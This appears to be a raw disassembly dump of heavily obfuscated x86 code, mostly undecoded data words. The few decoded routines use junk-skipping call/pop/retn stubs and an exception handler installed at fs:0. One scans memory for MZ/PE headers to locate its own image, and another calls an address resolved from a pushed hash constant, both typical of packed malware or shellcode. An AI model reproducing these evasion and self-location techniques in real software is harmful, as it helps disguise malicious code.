5BC35B20h, 4245C89h, 4244481h, 19h, 7BC35343h, 728D42DCh dd 25BD03A1h, 6607E90Fh, 0C183F78Bh, 0D7816600h, 0D93B788Dh dd 113860Fh, 81660000h, 60AB58D7h, 2A959D89h, 858B07E9h dd 7E90909h, 0D98C6661h, 831BD89h, 0C1F607E9h, 0DE840F04h dd 8B000000h, 0E907E5B5h, 5995FF07h, 6A07E900h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0F5A3C353h, 66EA5501h, 6A5BF18Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 85B1C351h dd 0FBBDF06Ch, 8ADBCE81h, 9529147Ah, 7E909B9h, 1FEDBD8Bh dd 0C32B07E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 38C35242h, 89FFBF0Fh, 0E92EED9Dh, 8343D07h, 860F0000h dd 49h, 21819D89h, 4EE907E9h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0BF9FC355h dd 9F806A31h, 0FC07A27h, 12E9F6B7h, 0BE000000h, 59F5EB04h dd 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 0E9C08B81h, 9, 951388F3h dd 8CE5AA5Ch, 8BC38B07h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0FA8B8084h, 0C8D85C7h dd 5F3D07E9h, 6A74B4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8B322CC3h, 0E92CB5BDh, 0BE907h dd 50E50000h, 8B766E5Eh, 6F28FC55h, 6AC08B21h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 8595C356h, 0AA89CD48h, 81F4CAA0h, 0E92AD1BDh, 7D007h dd 12850F00h, 8B000000h, 0E90C29B5h, 0D185FF07h, 8907E92Ah dd 0E92585B5h, 0D1B5FF07h, 0F07E92Ah, 682h, 89CE8100h dd 0FF3DDFBDh, 0E90C3195h, 0DB58B07h, 9007E90Fh, 7E59589h dd 858907E9h, 7E91C55h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0DBC35646h, 5079B958h, 0DA49202h, 6AF8BF0Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 77C4C355h, 0CE8E788h, 5E000000h, 0E96D97EBh dd 8FEF0D7h, 89387165h, 0E91B6585h, 95895E07h, 7E90089h dd 2F61B58Bh, 0BF6607E9h, 6A0F05h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0B3E47FC3h, 8509FCB3h dd 7E90031h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0F1C35646h, 0E928A61Eh, 0B58BFCC4h, 7E91359h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 52C35343h, 2095B529h dd 0BF0F07E9h, 8BF88BF0h, 0E92ABDB5h, 0D6816607h, 6A385Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 7C26C8C3h, 5C64ACA0h, 3BE662Bh, 13E984h, 85840000h dd 14B39781h, 6704EA34h, 2AC73D6Eh, 61AA80EFh, 56E9F859h dd 6AFFFFF8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 53DCC353h, 33E32C66h, 0E92D39B5h dd 0A9B50B07h, 6007E90Dh, 1605B58Bh, 0FEB907E9h, 8BFFFFFFh dd 1D8D21DEh, 6A07E918h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0E3A1C357h, 0F3C2842Dh dd 0B589654Eh, 7E92221h, 1DD98D21h, 6A07E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 7E50C5C3h dd 958B359Ah, 7E93145h, 8D8BC38Bh, 7E9181Dh, 2D58D29h dd 0E18307E9h, 2850F01h, 8A000000h, 0D98D8BE7h, 6A07E91Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 9846C350h, 34419D8Bh, 0E18307E9h, 6850F01h dd 1000000h, 0E9260D9Dh, 0F606107h, 58Dh, 8B665300h, 0C8815FFEh dd 6E9CE2D4h, 0FFFFFEB9h, 899589FFh, 2107E90Fh, 0E911B98Dh dd 0B5016007h, 7E91171h, 35919529h, 0F6107E9h, 1682h, 11E900h dd 0FE7E0000h, 0D0BEA18Eh, 0EBB58580h, 0E98044A4h, 21012C2Ch dd 0E91E5D8Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 8BE78AF9h, 0E911B98Dh dd 499D2907h, 8307E935h, 850F01E1h, 5, 8BF98B66h, 5D8D8BC7h dd 3107E91Eh, 0E90C8585h, 1E18307h, 17850Fh, 12E90000h dd 0E000000h, 62020000h, 0AFF4C5F6h, 0EE5CB9D5h, 0B9E89CDAh dd 6A606169h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B96C356h, 0E9265D9Dh, 0FFFEB907h dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0EAA3CFC3h, 0BDB53379h, 2107E92Fh, 0E92FE18Dh dd 999D8B07h, 2107E90Dh, 0E919118Dh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95896A8Bh dd 7E92A8Dh, 8D8BE78Ah, 7E92FE1h, 13E8h, 129DEC00h, 31E97F36h dd 0D411FC6Ch, 0EC4B6757h, 2379AA48h, 1F1958Bh, 835B07E9h dd 850F01E1h, 6, 298DBD29h, 8D8B07E9h, 7E91911h, 0E0B7DA81h dd 0E1831ECAh, 0B850F01h, 0F000000h, 585h, 0E3816600h dd 606180FFh, 0EE59529h, 0FEB907E9h, 6AFFFFFFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 6A10C350h, 3AB19CF9h, 212CA453h, 0E90C8D8Dh, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 71ECC27Fh, 58C7CB81h, 8D211D85h, 7E92019h, 1FF1858Bh dd 0B58907E9h, 7E9025Dh, 0C8D8D8Bh, 0E18307E9h, 1C850F01h dd 0F000000h, 1689h, 0CE800h, 0A1590000h, 0D2D8217h, 8119AE52h dd 0BA66B4A3h, 8B5B8EEEh, 0E920198Dh, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 50D648E8h, 83FC5AF9h, 850F01E1h, 38h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0FAC35747h, 88FFB8C4h dd 13E9h, 1FC4EF00h, 0CE0FB28Ah, 63F27E78h, 6218CF86h dd 0B25D74E4h, 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0B5E78AC3h, 0F3B24655h, 8166E33Eh dd 0C7CFC4C7h, 0E92AD185h, 7D007h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0DA74DBD6h dd 9D89057Ah, 7E91255h, 35918D03h, 6A6107E9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 8715C357h, 3528B2ADh, 0B52906CEh, 7E91E0Dh, 9D6107EBh dd 0E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 3DD8F65Fh, 6E11F81h, 2ECC80FFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 66C35242h, 4B03A0F9h dd 34B98D8Bh, 8BF807E9h, 75E9C1h, 66600000h, 4A8D88Ch dd 35840Fh, 16A0000h, 2669B5FFh, 858D07E9h, 7EC9FDBh, 8589D0FFh dd 7E912E5h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh dd 12E595FFh, 32E907E9h, 0C6000000h, 0E9265985h, 0DF685607h dd 0FFA9C530h, 0E90B11B5h, 0DB858D07h, 0FF07EC9Fh, 2D8589D0h dd 8D07E91Bh, 0E9258985h, 206A5007h, 0FF56056Ah, 0E91B2D95h dd 0C1C36107h, 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh dd 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h dd 0CE17E62Ah, 6734DF1Bh, 8400A6DBh, 9F00436Eh, 0DC80BAh dd 54000000h, 0FEB61Bh, 0FBFE3600h, 87000000h, 2352DDB4h dd 19ED920h, 0E97C809Eh, 11E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 81C35545h, 8B60376Eh, 0E90E31BDh dd 61C78A07h dd 1B69BD83h, 0F0007E9h, 9D85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 7F182295h dd 0F52B911Bh, 188A0Fh, 10E80000h, 0F9000000h, 7DCDF413h dd 677612DDh, 7D74660h, 50A85651h, 0B85959h, 0E8000000h dd 14h, 0D68A92Fh, 2EBDB55Fh, 70AA7903h, 0FA40F039h, 753DA402h dd 97927CBAh, 4C25A64h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 5351C3F5h, 2B818D89h dd 595907E9h, 60F88B66h, 89DEEF80h, 0E9106DBDh, 0C08B6107h dd 12E9h, 4EA00E00h, 65A4EAD4h, 7E14CD15h, 281E1B76h, 83459D31h dd 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h, 8B535013h dd 4D0B8C0h, 9D8D0000h, 7EBD5A2h, 585BD3FFh, 1A45BD83h dd 740007E9h, 0B8535011h, 4D0h, 0D4EF9D8Dh, 0D3FF07EBh dd 0BD29585Bh, 7E92201h, 12E8C08Bh, 0E0000000h, 5533BCDFh dd 5428CBD4h, 0DD2FA3C2h, 693759Ch, 75952949h, 5907E912h dd 2FA1BD89h, 858D07E9h, 7ED4F71h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0A0C35040h, 0DA91C8E0h, 0EE9h dd 0BE5BBF00h, 0CAFDF6EAh, 3DDDD60Fh, 50C92CB4h, 13E8h dd 35EFF00h, 0E235E4A9h, 20D2E9AEh, 46207810h, 0C40C1E97h dd 895A7EB6h, 85292404h, 7E90DD5h, 4F2E858Dh, 6A07EDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E806C8C3h, 0Bh, 0E4009226h, 6B0A9712h, 8BE45B7Dh, 0E90F49BDh dd 9D895907h, 7E9209Dh, 894FB650h, 0BD892404h, 7E91661h dd 17E195FFh, 8D8907E9h, 7E91AE9h, 424448Bh, 89CFB70Fh dd 0ED4F5985h, 12E907h, 0F1B0000h, 8DB7B791h, 0D885A515h dd 11222462h, 0C933F042h, 824448Bh, 0FB8B6652h, 918D8B59h dd 8907E920h, 0ED4F6D85h, 0B98D8B07h, 8307E921h, 0E92EDDBDh dd 850F0007h, 0D0h, 68E0Fh, 850F0000h, 0 ; --------------------------------------------------------------------------- mov byte ptr [ebp+7E92659h], 47h push 0 push esi call sub_5C8FB2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8FB2 proc near ; CODE XREF: sdfs____:005C8FAAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5C8FB2 endp ; --------------------------------------------------------------------------- dw 68A5h dd 32B04C59h, 6866B99Fh, 9389AABAh, 48C0Fh, 51510000h dd 4815959h, 10FD1824h, 6870F41h, 1000000h, 0E9310DBDh dd 11B5FF07h, 6A07E90Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0FFA9C356h, 0E99D2973h dd 0E807E91Bh, 0Dh, 0DD006133h, 4D3A13B7h, 0CE7C5442h dd 0CB8B66EFh, 0DB858D5Ah, 6A07EC9Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 88F1C356h dd 89D623D1h, 1071B589h, 0D0FF07E9h, 2EDD8589h, 0D4B507E9h dd 2489BD83h, 0F0007E9h, 0DE85h, 0B70FF800h, 5985C6D6h dd 4707E926h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0DDC35141h, 0E483CA81h, 4E8323Ch, 0E2000000h, 8A8A0FB5h dd 0C88B50CEh, 424448Bh, 0E2BA5250h, 0F7D6556h, 51525031h dd 0F310F5Ah, 8Fh, 5A585A00h, 8B008B58h, 244489FBh, 58FA8B04h dd 0DE9h, 4D6F8400h, 0C4CC5B25h, 59B2641Ah, 0DE807916h dd 11B5FF79h, 6A07E90Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 87F7C353h, 850160FFh dd 7E90321h, 0DB858D61h, 6A07EC9Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3FC8C352h dd 124F852h, 0E91DCD85h, 89D0FF07h, 0E900F995h, 89858907h dd 8307E924h, 0E90145BDh, 850F0007h, 92h, 1C29958Bh, 85C607E9h dd 7E92659h, 68FE8B56h, 0B145F7EBh, 0B8E0Fh, 50600000h dd 5A310F52h, 0C68B6658h, 24048161h, 22D9754Eh, 11B5FFFCh dd 6007E90Bh, 15658D8Bh, 0C28A07E9h, 12E68061h, 9FDB858Dh dd 7E907ECh, 26000000h, 8C105486h, 0D0FFC8C0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B2C35646h, 3104AC40h dd 0EE6A7FA1h, 0F88B66B8h, 54EA8166h, 458589FBh, 0F07E901h dd 58Ah, 0E7816600h, 85C6AA38h, 7E92659h, 0AD85896Ch, 0E807E91Eh dd 4, 0DB057083h, 0F98B6650h, 424448Bh, 0D63BF66h, 5250008Bh dd 0FF88B66h, 5ACE8B31h, 24448958h, 7E804h, 0BC3F0000h dd 9D54A913h, 76B8604Ah, 8A2E159Dh, 585F61C3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5CC35646h, 7185A0Bh dd 2669B5FFh, 8DF907E9h, 0E93ABC85h, 27C1BA07h, 0D0FF2982h dd 29D1BD8Bh, 858907E9h, 7ED4F5Dh, 35498509h, 0BD8307E9h dd 7ED4F79h, 0AF850F00h, 8B000000h, 0E925298Dh, 6830F07h dd 29000000h, 0E90C1185h, 5985C607h, 4907E926h, 3810Fh dd 8B660000h, 4E8CEh, 29E90000h, 0B9668C15h, 0B250AB98h dd 24448B3Ah, 11E904h, 172D0000h, 0A4968C1Eh, 9DA11F41h dd 0A5D573B5h, 8BFFFF45h, 118B900h, 44894F9Bh, 0F78A0424h dd 0FFC88B58h, 0E92669B5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0BE13BBFFh dd 0AE9h, 23F7800h, 253057F7h, 8D26D940h, 0E93ABC85h, 0ED958907h dd 0FF07E90Eh, 31C3BFD0h, 85891807h, 7ED4F79h, 21C19589h dd 46A07E9h, 6800Fh, 0BD8B0000h, 7E90CF9h, 4E8h, 100000h dd 8E900h, 0F1580000h, 0EEBDF567h, 8B50EDC9h, 50042444h dd 52506052h, 585A310Fh, 830Fh, 0F610000h, 5AD78B31h, 89008B58h dd 8A042444h, 6A58D3h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 738EEC3h, 904882A8h, 14E881C3h dd 33000000h, 5842E9FEh, 438A536h, 0CE95153Dh, 958EEA26h dd 66432FE9h, 5A1D4DBFh, 8502E6BAh, 5C266870h, 5250AD46h dd 0F525060h, 61585A31h, 0DEB9310Fh, 5A59DA3Fh, 24048158h dd 52BAA3DAh, 2341B529h, 8A0F07E9h, 6, 2EB18D09h, 6A07E9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 15C35141h dd 95FFF5F9h, 7E91B01h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0D9C35141h, 457AB6Dh, 82F49272h, 6985899Ch dd 0F07ED4Fh, 85C7FEB7h, 7ED4F61h, 0 ; --------------------------------------------------------------------------- push eax and edi, [ebp+7E91609h] pop ecx push 0 push 0 push ecx call sub_5C946D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C946D proc near ; CODE XREF: sdfs____:005C9465p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5C946D endp ; --------------------------------------------------------------------------- db 7Ah, 84h, 9 ; --------------------------------------------------------------------------- xchg eax, ebp xchg eax, ecx db 26h jmp loc_617C8F ; --------------------------------------------------------------------------- dd 0 dd 8F0F0001h, 0 dd 8BCB8A50h, 0E8042444h, 10h, 99E32D10h, 18636C9Eh, 2F9F3896h dd 0FF405BD9h, 60008B5Ah, 61D88B66h, 4244489h, 11E8h, 0FEAA8700h dd 0F7C78002h, 33C57F02h, 0BA60CB0Ch, 8B66E6CAh, 8B585FFBh dd 0E935018Dh, 52505007h, 38F0Fh, 8B660000h, 8B310FD7h dd 89585AD1h, 0F5802404h, 88DA81AFh, 6A241A37h, 138A0F0Bh dd 0E8000000h, 0Bh, 96E534C5h, 3F333E43h, 5672A857h, 858D5F5Fh dd 7ED4F36h, 20860F90h, 0E8000000h, 0Ch, 0A4B60819h, 0B43C1361h dd 7C8A89EDh, 8E8h, 239AB400h, 0D17684D1h, 505F5F01h, 11E95250h dd 93000000h, 1DA093EFh, 7D2298EDh, 19B1ED0Ch, 0F385CE32h dd 0E960310Fh, 9, 0EE3729F7h, 0D2C16E83h, 585A6188h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 653726E5h, 0B85B71C6h, 3DBD8BDCh, 0E907E90Ch, 0Ch, 68F8D660h dd 92ADE732h, 0F20BD415h, 2EDD95FFh, 853107E9h, 7E90DC5h dd 4F40B58Dh, 6A07EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 1DE411C3h, 0E9520809h, 0Ah, 42E87F2Fh dd 0EB669821h, 505F05FFh, 5E9h, 1285F700h, 3489CD8Eh, 50C88B24h dd 48B0Fh, 0BF660000h, 48995FFh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8FBB1B19h dd 958B516Eh, 7E93441h, 8995FF5Fh, 6A07E924h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0FF7C353h, 80FD7E3Dh, 0C00BB7D1h, 11850Fh, 950B0000h dd 7E926B1h, 6CEE9h, 0A98D8900h, 0FF07E900h, 8BD78BD0h dd 0ED4F69B5h, 20468D07h, 1A098D89h, 46A07E9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 2DC35141h, 704B3B96h dd 0BD8B5790h, 7E91209h, 0C18D8B59h, 9007E919h, 0FE8h dd 0DBA8C600h, 0A4CF4256h, 6B8A3E68h, 0B5876DFDh, 505AAFB5h dd 32D183BAh, 6A9032h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 60BBDAC3h, 0BD31C18Bh, 7E90981h dd 7995FF61h, 6A07ED4Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0D2B7C355h, 8C44B0EEh dd 898220D4h, 0E923D1BDh, 0FC00B07h, 3184h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 34DDD72Ch, 0DA81667Dh, 0DCE9DE1Ch, 66000005h, 0F467C781h dd 7E80D68Bh, 840F0020h, 5CBh, 1958D09h, 236007E9h, 0E92A51BDh dd 20468D07h, 0BD8BCF8Ah, 7E911C5h, 4F658589h, 0D68007EDh dd 1A0E950h, 81660000h, 403B25CFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0B3C35747h, 5790D18Bh, 47FCB966h dd 6060505Ah, 14E95E51h, 2F000000h, 0FCA19CC9h, 7344B574h dd 0EBF52D3Ah, 0A5486D64h, 6118725Ah, 6A9061h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BD8058C3h, 92E1F3CBh, 1EEDBD03h, 0FE907E9h, 0E8000000h dd 0C83B9DF7h, 99EA43E2h, 0CF012FB7h, 46A02EDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6EC35646h, 8E9F518Eh dd 743D1D70h, 354DBD89h, 0BF5007E9h, 415C29DFh, 89240489h dd 0E923418Dh, 7995FF07h, 6A07ED4Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DC59C355h dd 0BF7D27B8h, 0E8923BCFh, 0Ch, 0FF6967E5h, 0C488AE33h dd 7FA0E556h, 1BA9BD8Bh, 8B5F07E9h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0E311BDFh dd 7C3B613Ch, 0F6087E7h, 68Bh, 15858900h, 0E807E91Ch, 11h dd 363211B2h, 0B4A1645Fh, 0F21C370h, 0F104ECC7h, 12E97Bh dd 91670000h, 307695Fh, 2AB32DA0h, 0F322BE63h, 9101192Eh dd 0AE9615Bh, 8C000000h, 958F48B7h, 2C52CF0h, 830F5835h dd 6, 830Fh, 0DB0B0000h, 14840Fh, 8B660000h, 411E9D3h dd 8C0F0000h, 6, 195D9523h, 388007E9h, 5C850F00h, 6AFFFFFEh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B7BC351h, 7E9D3h, 0B70F0000h, 8B6648F8h dd 65853BD6h, 0F07ED4Fh, 6182h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 3880F008h dd 3B840F5Ch, 0F000000h, 3880FEB7h, 0BE850F2Fh, 0E8FFFFFFh dd 12h, 0B06FB12Bh, 0BAB73E5Fh, 0C121FD57h, 685D3A03h dd 7E8AF61h, 9B000000h, 0D4142C8h, 0B966D53Eh, 5959D2FBh dd 1F51BD09h, 294007E9h, 0E90C518Dh, 6DBD8307h, 7ED4Fh dd 11B840Fh, 8D890000h, 7E914F1h, 8B665050h, 48959D7h dd 3FB8B24h, 0ED4F6D85h, 219D3107h, 5007E909h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0B293C357h, 183F79Eh, 853159DBh, 7E91A61h dd 950B046Ah, 7E924C1h, 89F88B50h, 0BD8B2404h, 7E911C1h dd 4F7995FFh, 6A07EDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BD3165C3h, 7E925ADh, 9218589h dd 958907E9h, 7E91661h, 96B9D88Bh, 587F2EEFh, 0DB0BC88Bh dd 1D840Fh, 8B0F0000h, 5, 83D18166h, 29DE968h, 8E90000h dd 45000000h, 0C185C4CDh, 0C6C9D53Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F609EC3h, 8E0FF7B7h, 2, 8961E58Ah, 0E91D6D85h, 6A5807h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 3A79F3C3h, 8BD2514Bh, 0E90EA5BDh, 8D0F5007h, 19h, 14E9h dd 176D8D00h, 29582B5Eh, 73D21AE2h, 4DAB9388h, 7CDBDEA9h dd 24048907h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 2DC35242h, 719529C8h, 0B907E915h, 440F762Dh, 0B5891E6Ah dd 7E91509h, 0F8B25750h, 24048959h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 47C35545h, 0CE9FEh, 454F0000h dd 0CAAF6311h, 37E17E59h, 95FF8A36h, 7ED4F79h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 62C35242h, 6AD88BF5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0F31AC350h, 0D381A906h, 958BDF0Ah, 7E92A09h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0F95373F5h, 0FDB0B59h, 3084h, 131E900h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0D10209C3h, 7ECD87F5h, 0A595890Dh, 0B107E911h dd 0AE990DDh, 0A7000000h, 597134F1h, 0F525FFCBh, 0CE8B5073h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 2EF45E76h, 28379394h, 4F59B5FFh, 6A07EDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 36B2F5C3h dd 2B099509h, 95FF07E9h, 7ED4F5Dh, 0C00BCF8Bh, 22850Fh dd 81660000h, 61B64CE1h, 0E7816651h, 0C7596A4Ch, 0ED4F6185h dd 107h, 0D1B70F00h, 76E9h, 0D78B6600h, 82E18161h, 81719E43h dd 11CC6h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0BE351818h, 0DBB70F60h, 0C9958B60h dd 0BF07E921h, 621C890Dh, 72E96161h, 6AFFFFF9h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 1B9DC356h, 8F45F5FFh, 12819D89h, 0B96607E9h, 67BF5295h dd 68535037h, 76B232CFh, 3481F98Bh, 0B2B2CF24h, 2032BA76h dd 6A0C18h, 248D9D89h, 0B5FF07E9h, 7ED4F69h, 1D01BD8Bh dd 95FF07E9h, 7E90145h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 31C35545h, 872EA52h, 61858B49h, 6A07ED4Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0BE18C356h, 3AAA6B09h, 39A0CF9Eh, 2F799D31h dd 958907E9h, 7E93009h, 8A605390h, 505961E5h, 8B904AB2h dd 0E91AC18Dh, 71858D07h, 6A07ED4Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C8D2C356h dd 0CA80EB93h, 0BF669033h, 6650ED4Dh, 2B90CE8Bh, 0E91DF98Dh dd 2E858D07h, 6A07ED4Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0C5E9C351h, 8E0F57FDh dd 8, 28D0Fh, 90B50000h, 0D8D0360h, 3107E90Fh, 0E91D7595h dd 57506107h, 0A0CC72BAh, 4895903h, 0F5BD2B24h, 0FF07E91Ch dd 0E907FD95h, 68E0F07h, 8B000000h, 0E900D5BDh, 66C08B07h dd 83B062BAh, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h dd 8B535013h, 4D0B8C0h, 9D8D0000h, 7EBD609h, 585BD3FFh dd 1A45BD83h, 740007E9h, 0B8535011h, 4D0h, 0D5089D8Dh dd 0D3FF07EBh, 8166585Bh, 6A5F8AC2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F0F4C355h dd 3F8968B5h, 0D3B70F2Dh, 8D8BC08Bh, 7E91C41h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0D08B57BDh, 8C259h, 14E9h, 0E0A6E600h, 5277BE5Eh, 75664AE0h dd 0E36325A5h, 0B3D3F837h, 6AC08BF0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8999C355h dd 0E9197995h, 0AA858D07h, 8107ED4Fh, 165979D7h, 19858916h dd 0BA07E913h, 0F0115000h, 0EA81h, 0C283F000h, 91958914h dd 8307E900h, 858D14EAh, 7ED6247h, 35FF6450h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5C9F94: ; CODE XREF: sdfs____:005C9FB6j cmp word ptr [eax], 5A4Dh jnz loc_5C9FB1 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5C9FBB loc_5C9FB1: ; CODE XREF: sdfs____:005C9F99j sub eax, 1000h jmp loc_5C9F94 ; --------------------------------------------------------------------------- loc_5C9FBB: ; CODE XREF: sdfs____:005C9FABj mov ecx, eax mov [ebp+7E9120Dh], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+7E92575h], edx mov edx, [eax+50h] mov [ebp+7E90CE1h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+7E91BADh], edx add edx, [eax+8] mov [ebp+7E92CC9h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5CA014 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5CA014: ; CODE XREF: sdfs____:005C9FFCj cmp dword ptr [ebp+7E92EB5h], 0 jz loc_5CA045 mov byte ptr [ebp+7E92659h], 47h push 0D49AA7D2h push dword ptr [ebp+7E90B11h] lea eax, [ebp+7EC9FDBh] call eax push 0 call eax mov [ebp+7E91921h], eax loc_5CA045: ; CODE XREF: sdfs____:005CA01Bj mov edx, ebx 